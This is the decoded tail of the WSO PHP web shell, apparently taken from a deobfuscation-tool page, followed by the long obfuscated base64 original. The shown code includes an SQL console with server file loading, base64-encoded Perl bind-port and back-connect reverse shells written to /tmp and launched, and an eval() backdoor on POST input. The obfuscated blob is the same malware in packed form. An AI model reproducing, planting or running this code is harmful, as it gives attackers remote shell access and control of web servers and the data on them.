						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	wsoFooter();
}
function actionNetwork() {
	wsoHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	wsoFooter();
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => WSO_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

Did this file decode correctly?

Original Code

<?php 
$QEBE9697A831E71132389F63B08DA35C4="eNpEnNuSozoTpR9pEJiK7cvGIDA2ohA6gO4AOQojgSmbsjFPP+n/
YiZ2RO/
orrZBysy1vsWhw+L2PP04Jyr9oXWp7a7/
vo4RLpnTB0ccHHks/
mp3b1R1/
NGjeJ+v/
9bzEK1hMVeUH3/
ya3DTCX3l1/
+eXdy/
1P/
7Hr/
vxv2tLv2tef9HDtfbMyxu/
+d7eP2fz987/
nNO5/
eNHMz/
/
374roCb/
bEog6LEgW1H8lSxeB8TBd+3+8nK3ZoVzkk44nAMbz9NQp0uvD3PXnDr/
v95/
tVV+mzi6K9zH59j/
p5fzinFkV8M/
zZiREiGANMhiCnDcc5pUJhsK1j2JhGNCsM9sjlXxf1nFjtrK+jzMu4Zn+o7d9JzLc2TjVZdRjpxtzcFJ1ah4F462CsQX0nSu9mmGRvSVIn53SXKEElyIVFz2rhHw/
5dTsotQ2vPHs30YW/
KuL6fXe1e+L7qou6uMdkp89+dJuadJ/
xFWD/
T6MenQ/
otRmxlSH4Z95GSSijxc8/
j7F44xzuVPxsffS4tGc8bnEVIPWJviF33dR4f15xh1Sb187z9oEsyx8TsXgT1R+4WLo+PHme0poflppmdG7NEtWeF2OhTJHNPReYJRL/
1Zs86tt/
FSFiDgzSbgmfBhak52pGJmMwGpK2Eo6KF1dPRyfj6dzG3Hcfcb6r63RpRCE+HJxeHxXX/
Vcv5u5baZ94/
h1bd+xJZk02awjFfBJNSVrPt0NEVvD+ePHsrE/
rg+GctRL3TSBgiflAt5iOTxCeRYLkISpmklITqXLLgpgb6ap1VsdgmWqpTU/
WuqII/
geaVv/
dvvqXpRVCUufOriX/
eHYOfVTa9JP3hEukduT7eIiJHYUTVuP7aSb8uw+AuJvzqRHoVzv6mcY9VpIeGUdZVAbtgwS9G7UTY901oCdTHKz0YMm/
mzXUv1GS8S0WWdvr3hD5ZOaxOSMXzKsXS+GVpbELtP5d66S/
0zysb9VSy2hMDxRmCv4t0RoT600w/
mgg9itF/
tZt9l+58V1XwqB3Hzw5LnI1LIgZVaPTzqh384sg+6tH+lV5/
6CoO/
bKYWvajqkTKXe4xiYouXvJ67L1201kh+p6anyd156ix2gg+x9A/
nkZqkSGWHKtKj36lYh9JTBLq3lx9eLiZC/
vIe9KOwlXM5sxZ/
Nbs0yzEGUuMS93+3Mi0J1HPC6ZPaoQ5G9db4e4XOs1JN6RH6h3vl1BHulJcTf055/
1bYLpmnFpqo1Whn2cp9W8mLa3HOS15LxqHvDNnmfmmGN2w6iZRUatlNplXgVTeiNkKB52h9qBQyrB4sQ0jEmaJdVL5XXV71q6fXEbyJjJ9dS7fMqxGGXcrqcxLJ9qBaS7PyP41Yfq6mAWRSfxpQWzrKocm/
bXmelRQU8HpkMXLLYv2K+UrK1CxMWRVLotnxlWjBB1FUiMl0u/
O06LcCLtEVBFn/
9Ze4bEBq1zAN5ul6FAGc2RrneA/
qI+EOY4KK65nBx3KOP2jU/
DbWBqU0R7VE38J+YB6/
Pgq3q/
cUnVJcF+7/
3lSEEeN2cqFjrupzxv285mhk8TFmjFK6pFWF4YHwvuURfv8hNSUubA+z/
42E/
7KhkA2g751YX/
iSDwIw1cO2sAr44tRL5mjJDX+7cJo2YwrzHyQCw8jmoj17OxNy8iR4uJN3nuoyw2VfE5qBn2L+UuXe0lE5/
No7jujEu711y5Cf0rqEvbWpbHaqfi18VDcGcwaGedjLXCfuTolSTplTmpr9wb6QQcZK9p6HWIGb7VLjeT7Xkfdu+W4gvr9UgG9gsWQeX2SxWqWiTbduIbakKAb+qr1dEkc/
6g8mpLNTu2Q3TumY2XUk4796zKIXEX2q3Yx0pv6LkORiXG3tox74IUH4WKZGZ0W3r/
1wl9eI/
RfFlHZSet3CDQ8shN3BMz1EXGP79qBFqDWB9D5hni0LBC1MOOPxqCau9grXeq3LHOhB1Qp8dROuNChvfPhuKrq59kMFOZN3KE+W+k4bjkFOxoXb8n0mxv/
SsLjTnHbl6GeWxk5arKgX92TSAfWosp2yt6t1bvM8Tcy9EeNZ6/
D9leF9VpWJKpH8U1xQGS0jsJixpPg0XiUgW6HLbY4x+m9Oeyzi6S+DNP45GFBXCWlTG0X0rj1+jf30mPOF1XDbGihHkW5d89I+SqxcT3VXiusm1e0ycJ/
r8YcwXPSCDzScKG+hMHgJ4Tpqf+T1z2vXeMyd1/
W5R5dhu5OkEEk0ljH+labuYbv+qOx77Y2feaCzqwiv8QTr1qkpp70mMk+gO8uG4l2zdT/
1uPyxUNypuY/
r3H2PugmKzYMqn10JA5AV6FOA9Ry9E+njSS8/
O8NvezX/
OXW7lJ1Cfg1Tjci6VcnCOPWos+5dG6xFZPNTtvP2sT1m/
HHpz+91hU5qdKm9exMpL8Vxse1SSMhsldb6VQkwadvq3aK7pQ7rh7TmmCNoO6IOuB7kYDZWJwMzVHhqYxNwAfj/
6bPqurjAXPVRLNkyc8zszTKPr3MxdCFOMgmwomAtYm5gF46E0uRGMXjvImhTdSci97pYvgzdz11aEblQBcZ/
bwo6k/
NFlgWrx5NLBGWpOWIhks11zUL7h99FJv6KxmmahQcvNGr7c1vWDCJUL8JLhw1gJ+Pzktbe9LYXsEPzqCRv03IdycH1YQvjpzwE763pyhg5ahuULvsYtL5IudrNvppPaUsY3gDLiUaaZdPVhJXyxa8I8e3N0uErzg9gPZEJ0fBnIqHDtO8Y8KCNvoZRxPMfSQMHUtEWM1wXky1A1yydHaWFPaSuY7T4r4CvvstbAqzoU40hB3eLPQmrGJcJ4Z7XqOAl+XDKZyV0oRy8D6Hxv+teaQbVS6/
hUgHaa1TmmiVZr3JKP2uxc3t+M/
WJMATYeHxSQFvBXVn+lwxc6+tfvIYFSLyWTuq7ISsLd2X07pmx6b5lVcYsaS/
yfg/
pCMb5AmG+qCKG7rlEnFh6V0kOCfO4lDb35uor1mED+rDFsm8uyT0SKLlWtj+dd6ClIle6gR8D/
aZeP2LD6oh2NI8ppK5s21i4jMO1ZvUKRuoSzjfyorW3Pz3vhid1S4Qhlmk5MW7Fr2rkmLHYW2XWPVqCxppSJZtqdHcAVWbCcGqb0y9dhgbwiyFNX01snZUqBZhjm9tKCqk43FJDMPpX/
FelIigx101lHAkxntTu/
NZc/
Os7ZxIC5+7LlcucQO9nIDH5jCL5JKQhYX6qsdi4+ClrNI0Bz2C3rOXSB3Bt8oG2Rvw15tw/
3F673tgDNUdHneedPduIHPmESfzqC8qnNd89mG+qhZqx4yCE0/
BZ/
svKQFFWTqJAUPP9iiPYfaYmrtEJ4y/
Xs3wD+jaTzJLZFkpX4TZjuDgN8P2+2JTzLDZSR65hZhlhv45wL7g/
0cPcpT58MVFBFfG8Y04q2lDikrnsavNerqwHrHIxjB/
FRWBaUI8gP7XWfzjUml/
iy1VDTPAq6nSst+JKK0YU1zGtVtGs1d7oBPbv2eHgrgWoK4h8c8OqUoX7yB/
ON3hv60bcM7GlORV9FJY/
bLxsUkOfRYp0IgdcL8ttFUPFsN+h0CR8V5IXCMqyQAMdiSjCrOYVI2jEPhqr+LjK4tmKOi/
eyHRxsZorc1SSmFAm0VJxhRRQBU6AIPYYMuFaspKf9cTdTh3fDqpION+Tif71XF8Yu/
HlqHU1ZVowLe+T94/
lxtsG9w/
WuMT7egHcMnXZcINC9UqsdqxDS+lgDO8Lr+S90XpBT1hwcCkGtWk/
9SYflFRPLsRenbQ57w63hnod7F90kbqto5fSUbz2tGBTsQuM3OeHfYw984OWPVRbyprNvXgsnsCb8Ds7NHJnb0cvJ9XwgKuPpjtYxnjlXNassiPNAqAi4Iv8JgnsKPsuO+xEWjX1i/
iwnpjHOspzQsb1MrrQxGL70bSPxbvU237b5jHI+H/
3cW4OmV8c1j08IDDWGfmVXLlgdY4kpMXC8XaORh3vINK6xH6YWohB5GIXMXWmzzsX0IAq23pG/
Tr8PFYYKNrIfUXfP5QDrUvvJ8naLIjjfDAm+vL0B9kqDzhvO5n9LNJLF7CWfPW5TuY83dn0kw4Cyajn2kBmRipKOezbENSdrL/
1ZxEPOx5i8yrZP1Nv5dX6faB4BxqoCM+ouLkadAzOzHZgYcuVSaBPSaxtKEYgdNXHqU5eEUJWpkVLr51GCo33TYVF5A0ofcqvZFRrxe5zGp87eB43zlP/
zjfeYWEHDEE9sJ7F/
zqXW7iTgwBnrI5+O3IDnvbJWkGddmISzMpju+TgwOKfu4XqbZutJDwbzs4YiTG+pOR60toK83ofPJ6Aa73yJLjPQ/
FXJu9f5F9f9owpls/
1zbYyViMmcBCSGCU6MctDVpZpbxW2k1Fu1fpqaSuoJM5mA3GNeSFB3fXN63+bZ/
1XyxkBC96d5NamknlWYSP582eLlBvYcVLi+DeSryjkFuaKviwcnSJ+7iDjFRbO5AQcqs9frT06+SRoYDZVBI0m6U3gYuttqoohR4u8ufFR5oTlB5UaL3Wo14p1Kq8YAQPl41N/
UulBz4Q8C3jZhGac0ixbACIHY6ok+tNefbMuErYFiTtFATFpvwywWXH4DxQ7TNGsRbdi47EnJz0LSVSoMMgM2QnQXtLAecfz/
dGruChOmKQ9wSkLfD5m3Bur8LRSTnNW2OAs2GPFApw6/
ZZFus/
NmoMafS7SwL7yRJlhA6y4qjhN9RaElAWUKjTCrV027EvuxFoxiwPzswu24RSjnmeN5V3oYIkYHaN6MEPSF+M/
/
kFX2spfxzt2LGQ+0IY/
7sb9F0j4G7ntgOtUySGzD6mTxGTqBwX4AWOFBJIJd0T8tuXGqLnxf64wON963T+JcSHy8hRKx9vzvW13OifSGbWJtiF/
PpoQtLksai5Q/
6ASV86FtfMrKCdKtXO7p7x5VDKdAQvymHaFfCNqzYbEHfvMWZXHWaQP4jTVFoU771TOz6stT9Anvlqw59XGxVP+M5DHqfHAmai5Y9XvWmvRlDncp/
CDHBixYOOK/
SG49GK3lo3Wy8DieDcmB6CKzFopOFx++iwDIOaM8yA/
1Pob8ZC/
i44RzUDvnLTsQuDX+j5UsRHpwXXLYZsU9M/
8K8VRLLbqNcTbdJCT8LT1Q1B9pNZ5C8w94dcZru2ShOCIp8Mds3iNQHPH1rIsWKjjMP8yOj1gpxV1sYK+qkp6EbJVJBzYQpuEBPizQdK5UAabvrm7JJjJuxwhoTPHAfxiKRk0ugSZuBdkC3j3RsY2UCuA76CPCdvXjEdPTIug3aBPXj6S4b0W/
F9prAOKDBp6a4T7OeHv+su6SMWgaZ4/
9uPp97woYycV4PVWYr0zrkY24q8LokGv112TZTWn5lm8RLypJ9Y+ANZ35IS1gV99gYtcdUYAbEsL4bruxyC99nBBfAdUchCevrZZa4FMl8MzPSSx2TIKjUIbEPmZv4lIhtwykS3dKrHxxuyXanlei1cmDeL/
8hELfDHSEZg0UlVufjnCvAQyJ9ODfsKCR3X0o9pZMeTQ+8XvtQd61cy3j55b5cL2zCGHyKhwHYf3dT45Nk/
zWqYETHQ62L0BBxT0Xt3XVRj+lPL+kpU9EuPxC08ei+5X7ebfjLXygsmfy0LIgV+UzLh5fE6dKA1uQRm9YTiiPSqIhTO9VtChmxddCLi9mrHtVdjP1z4XMFny9P7P/
AZYhs32wo5s8xBE68gs44WEhE+6hhqu+E/
PYh75/
Y78IhXGRV3OIZssXmXxvYi0UHNeuBwfDq5Py5z5qqDTAGZExVbAPkj+CbvPeSs+VBXfVm6Ku6qfzsx2KiNUqeRlqlBbcwT9wYHWybrjXzqMWjZTLAOPoca4av2shcP1ak2wCpIf6tRU43xdwZ7WJT/
uWUsjtT0TLn7WpnXVnJgk+rmlhNoCv65Z3JuLmHtwXekzET3k4uAB5w3fB+jWzDQ2JbazVw66WOZzPVp43c+khRqSmB9iDj41hhM6ir1O0+kzEE+MNVWSjUTs0QZozEwoGRmIY0NFmDOIsfRnQl6IyY9Mal9Ms53BvqswVuJSAM9/
gfrFTfG6dBVwJCG/
HWOcKizBrJc8jKqX5DZ4s6gI0PzvUuOL9CAHeTec8ZJdRloKK0IWYVdyIAe1MQFLw/
PLn5qTFPKba9c4TeJulIZrSrkL8l/
fAVUDhk4V87+S/
BiozHta8gPF6x3KvK/
WCwGbcTQjCuiYj5CQlmBZf4k+E4W1aBznStYALk5uksJXgW+KRyUa/
HvXaIIfP0HteVyl3H3VLEmoD1fkK1VzuhNJ8Y5e/
1OAmMXht/
LiK7K9l8F+9m4EbWY0qbw0pFtNOfO7DTo5jNvjs5eOmeVjrWg747BcTj+Yk7qtQn0j4HsBwSSS8H4ZjwW44Q5+CuvxPWjc125f0L/
fjPH5mKzxw72XFcR+OB6vkTAwcDdIEtePaZ1M4AnxequOCYnTwBLCE4nOiv58rPI2copjYTbOV25ANvYazOkjTCPHT0sf1L27FKBiHnzWeJgJQNFcvRnPZonMX7McQe6D/
45gW5HkCuS/
lBv1LmMoCESqM/
Q6HPNVRglQO9/
STUvLehrNhY7yLMnYIx7Ax4HCQXJyR6gJ5+l4HfI9GExkE2HxR1U6VYPBeixPdAwgP5NCej7WsY/
m5LpxN9LBrkNKUzmNu4LYPa8ML1RsTI1F4Iz0eRYVFC/
vvPwCFlG6HFVNCG5xvbJXZzUXrdpg3dnr35TQf3CWWsR7RB1wGdH4UIm9wrIGpAxXLL9QG4vnoW7ZBdBaT2Id5PMD/
BoyhP+okP6gCwRdPL1huO8OvDcMgGPTIJB2frZ2WynYvEHOe5ZxntbQI5V8cKaJHqVDkl0qGM+iRvQpwNcihoxP8nhgcoBQ+1JqCzQbxVtNThfGddv0LMR6l+yTd9g3XXzXn7pNDcC1buushGHhF1wyKCjX/
Ete1HXebd4zk8Ostr1X5Bty3rraemSrwaYoKnmooDM1ybFuwTv0agGJldeZxa/
m/
qh2XpgzvlzvbCS2PZ0xBy8+cjim0vK/
ZsYmDvT38kmAjbNTsmCM/
UKBzIzKkYaA7PlwODA3HxrHNsQVqxNyJ/
NuKTUOa71+N9LjMf15KUvYL33JXY2KVXeREC5w/
HdDio4IztAvl8Krn/
zipzkxO9tTH4LRlce0q8LTzc5qDfMv1N75NCEsBcI2H6ifrvV93oyd+gDDNzw1ULey2wgQWvDzCWm4Xtzdv17g/
qCxDjqsMihjm5W9QfqkrjzbJN51pM2CJiFKR3oURv/
xSZS1HI/
M7lcywlPnbG/
+WE/
wDGf2ptpGZoti+tV47Tkrk27eP/
OY9R0gyIytNFnRjMMvYBn1SQUNG99khGRDv17Z5j+EkvuwBYE+POgzf6tq38eZBivxHilYYFOTvRW45o0kAYE66dMEKGMWIvRv7eYQDa2KQ9htkYbZc5yp5tuyEYLIrVbjppcIO/
CzAPD0a0E7ssm7rQVTQvuOO1gy1Kk31moHeDma8fJb4NI3boL/
OwfsIb6hTl6yiGFevdDawBeDbAU6hGztNED/
esM3wpkcWtW0HnMiHH8Cw4mzlVFq+zNROTlwHalNwsQIC+HNUE96s6CRkKGgKzB2k39NWhWbdhTZbtVyXp3cn68WiLeWeB3AIXG6d02ViswsslFsOXJP4/
H+15zdaOC9Nromw65LycFvIVZ+368m0GkxOgHqT65mDq5wHErhWidYpdNfZkLlTbMngtgO2BT2VQ4bFGwFmjulcE9QT+uBjgTiRqZJa/
axRWd1IuE2DLHP12s+C2j/
qqcegdT4JwduiMY9jyyDy31tcNBdqlsVUI/
6wRvGvJpVgUT4f2dx6LMPFIwyVHOMdOgJWUkds2Whi2cNpPKh5o59QS+5+HzJbYP8KdYRtothuAILEny6MfXQ/
/
Nq9So4Z/
fDJYQNBdiTClksi8Z356M64Xw/
UmAf33uW4M3Lbo6vtQWrcTVD5rM3zwGj0W3jQ8/
kJ/
TFbxNdvi2I2631Q5/
FlPwDXk8L0Y9ahf/
UdcfYD3uJU4Z8OsKuTfjZskaFCwtp/
aC+xl0c4b+gwxc7zKkvuE4B77VO+3alYrgmQsyZVtqm3GfdV6xk1V/
1455KcgbxfgDfg3MGM2/
0pAjN2nZTTTJxnSoue+fve6j3QeaBCu14iDj/
tl6omgZndhgMQ3ByzexE7E+1Y49tZ56KHm7MxSUKlQesfgm43Tk7m4n+AMxA+zB7AR6ArOZ+VmFnQzzVVaByaYgERItkEX7z+TV1/
1KeHZvrnsH+N/
tmHp1zlzwUfiXwdrL53p55P/
BHlhQ9W/
iHF01BWVjurXwuncj/
jmlk0pudKLHfVq7CMHeeOAbSZdkbhNSKmwai1A0Je/
eLdMz6PpZjT8f34mhFlE74qpz06+MkURM3K05Gpp4h0ph74zvgfD2J2lqT0fCL4xzrz3QRDxXOafPJkZR5qZ1x1OeeZDjyz0DNr8WjorowIFRH+BQlrYWOPtzHysB4WLpVNh/
wBVrVZs5gXwpiQss6x7fMuJPLtSxHMmZ2NRAhkTAyF9UYMUScqAs7VtG1sZZwWf0H2jkxl1xYKM6np3eP7vOWohulTZyGe4h14i8A18Grzy0oNyQ1evPfZrGSY+wP+CbtILcvnD3c20kJURmT/
3JaY42sgLecpfPNUrcxNrvov/
uFFgI+IifNprV4x41I9nlVYAh/
4qTq65CQP7wYP/
H+lV4wU5A1s2gZmJQOXiPbUeVUhd7bAvODDg9C/
kOPPN09oBPrQXeVKV2XrvGUSNksEJzbXmlvpnMvJLbF40w5PIFvHb5Lj1YCfQUTSyA4D+Pjn6RHx4O90hIJ/
IQ14ennN1WgF9mcs/
z2D+WVi/
0ugeX1F5hIv8iI7eZZugnUZ+cPWld+LkpnMLrC8HJVjropoR5tqE+5kkvJLdDBke4GBSV44waRjxgtz8Z+Ups4NLvRUK++etCMcnp372R9SuPgXdYmqsp2sE8LyUOTjIiE8fpTr/
3s3Y6Tzv0DTxiL5G+MgGeGBUIAK4oWLfLwwhp7+aqLaiJFFPH7HcDew09pS4iOBO39zVoAMXcAz/
0ZIxUi7ON82inrThp9vGG/
UEJiP5jdq9F6pfXfSBEf6UOzEuofpVD3MYRaxuJpRZzTTC9suv+twP+gjz5JVzkdXJ5NMjmwJg3ikgkZD8X0h/
VpDLIN0fBrC9c/
OZIUTn2fjlE64WRoHFFUjC1FAL4773/
YpBLeDV/
t0l/
vcTqTOJ+zQSsk+GSI0wB03clKl6FpUJBvRnsUW2jpzBLQ/
hss6h7lihFikV+OwS/
yl3qhilKyse9la8V+C5Rn3sGm1i72HmJiLwbnL6EZ4eLTGdgX0Gc3um4zjvwDqjZg0f2UJv+oVw4Du7P+qNhn+cjJGgHjJ4S1JMi/
Suq3tQwu3W5RMWmhQjBf1j/
JhM+sw3Wenj45Qg+99F0RPxLTLLLFNSNV0AG1b+NiygdlcNhP8DPShb+uyvob6ARQ1yya6/
7kcDsqbiXueQO29TuItSJx72hHve0IQW/
LlJ4+i+LU6IGwplNd6wiBcxi9NGEVgDNDSlvY8i90WKI0BVHkU/
l3kjIteBd6n/
3NqA3T1vqF9wPu1iDXmjVxqAVlXiWYY10tA8hJUseprdujN55MnNgOGDC4zNzF8j5aobwslFze6swTSXkOsheX5CvPWCXKZf+JmLg9UgdtUwflyR6w/
qObYQfnPu4hezEQ9tfEg25izqAJVVhkOrGFLwJZjbqdxdunqXbX4GLgQ+VSyUZG4PgV/
1QMeRsuY9rY9619G02iApqsctF8aqHoC+cfVOw1Id+/
hNu6vAoXTO+fkEPRZAtfyHNRpeRv7SZQQvW59n9ecKWv8tYmOywvIgX3YuJ9gz8PBsUzBONgE/
u3NUHNd4+53uVU/
e88OjeGf9WxuQb8v2u+1wjnQRrhD6C/
2R5tBwLAfwhcU1jjVrvnwvZ/
K+wqqBj7xEkJlXhl5h0fjHKFhs5UQfXWSIsO+xd7vT0vNmJhfpFvZkxl5xI1V+JWYHX9g2Pf/
y26s9q66cS5urCs53ecNZFqVASXEtC9yYCtaP9Am1BeaxlziCrOwa8STQ6FMBz+iyQuLHDwiHLbFloFeSivHEIa11bZ1y9igFW7tyebYTKT4bs+L7uxEzoOFOYw7qbgJk2URJ3xWdEdgWfjdjgOKzeJAM+lPaLmpR1dv5u+HzqbH8F37EZwiHoStyZfQ1a95TAlyouVsjiXuPuP8/
KbTVXWZfYiU41zKH4Aub4bkJY3WYzIm7v2nGcMgbJ3NIvOv1A7hZnhtJz7c5v5eKi8/
oJso3S0jJgaQN94Gi+8wULdmQgVXnYA4/
ukIR5FHzZLjLz1cQ9lmDIb+rJB/
1kDt4Esn7n0LJ1+mvnpLGSPhYiLQsb3AtPB9A5Gx/
RCTjyxOJ1kba/
gTYQLvn2eQqzRtgQ0zdQ46B9708NJlXnHV2N5kPm2gL46KzAwpshSBird621o5ggp3j0AV5hu8j/
KqX6KrhaQZtB54NSJDhT8FkV27SBLMpcFIoYdPnweAtW3Ltkfmdm8aglS8bE4xLSlLm3FdhTAvcJmPcj2VLTVClqHM3oew8eI7as3Jd5TBOVpE84z5VK2nd4PnzuO3Smj88b6BEmDjXzVxeJ75zPf5m1DzoYvxT4zHGfd7B3BOGFHPYj8NyrNL6nbH8geP6mYpYnZ30UIwCZU0A+SqUy6rfwlGIDLbjVQTt+srEd6omAfh53xKOmey/
LCdSn9iDbuPjEE3HoKqHICKx6XV5U/
KDGBf/
G+AvY2yUJlp3bgwamfusFUqEAWGwlzNWnVmrgTHK9YAo8nkKes45I9APY1ipvzkjE35qR2yXBIffU516UKdzV1/
Ge5gn+AiV/
AUc/
la1fl6h/
Qi8l1OwFZMBEA4AVA/
kW8Q0UvT/
weK3yeOYM8oxy96pxF+ihwmtiDGCx85QH2jzNhxJyECj4o0lm0cXiW1e9TyHTfO4J8oncSmf/
VBg/
ZDyLQqZ3qJ0tcXbnWMEcgP6E6bWFPuhcxz27C/
ncdzu781xUxELfVDmevxgwf/
PxvfE/
IKF+Aub/
yxN1hszRXyy1wHg+nJOrQhGdXa1y1gNDB+LCU+B1yC7yf3yZttHuJQ0kTyd7d0LdS/
gzPVgJLP/
LOPWIsyri2l/
YE/
W5vwN+lJUSuDOmp9L9784GFXcR37XVjJUFLh269VJBlZ1lrD/
MMPRSwF6pUIcyEpUQwAtMzKAlC8P2qSp9kiN3aoEhO9G75rPLOOHN+AO9Eu1gFgMd46xGwUGLtOgkjcXnuY3NuJCZX0KmAubBy3F6Kqa+lxzYM6aKQx4A0roTg3zCgGiA40EbnsLxfVoufxfgAe1ZJlzrwl4R0I+QTcTX07/
Pdb4ZNHMDTtgyZ9lYIv5EIjIZkgB8680YvZdmj6jr+GUl3iXwg57StBzMThhsOxcPQH/
qkwFKpkU3CicbsxU8/
lbw1x3mwWGRgP+wzapo6+J0okNfyvI/
n3BVQK5hoIzHcuvvTTW7is8Dj/
a8Ba6REfBXvJyBy+6XqHMzufgnjwLjQgYHH6ShCBn6AR59vVm8g76GmLZpdHJfz26aAzX9bNKaXeulHPi4buJ+KWODOkMLEpmNx/
tbHqYnHeqlcR73z7MKXdT7rEqfhZnvoNFN5qWYxkvS4WgHPBZTTsfPPd82srlIesbHvidce2Woo8Y4G2X9xhBGUO+Ab59nHvFI3f63tHPDzH/
Pdty9W6FREznA1wj2Kv06o76p0bxB/
/
TQTa8Si2s2aJMZn0MGcDOraQnz+LnWVEP2gvxZwzmmF4nul+Tfpjn4z4APMKvDhVt22j7XDHxcvh/
e2fGtwMWzcMSoNnKQuD/
okByLqlgzF2qMgmeWFFsX9snFBqlClhJGsyZe4gvjTgnrl0xwhTvI5aAjYQpOI2ICObkQ6RvqVcjrMhMX/
Tb8P68BtgY+i0DbIHPw94c7Wwc7jPVVwY4b8NNvg/
GhCyO/
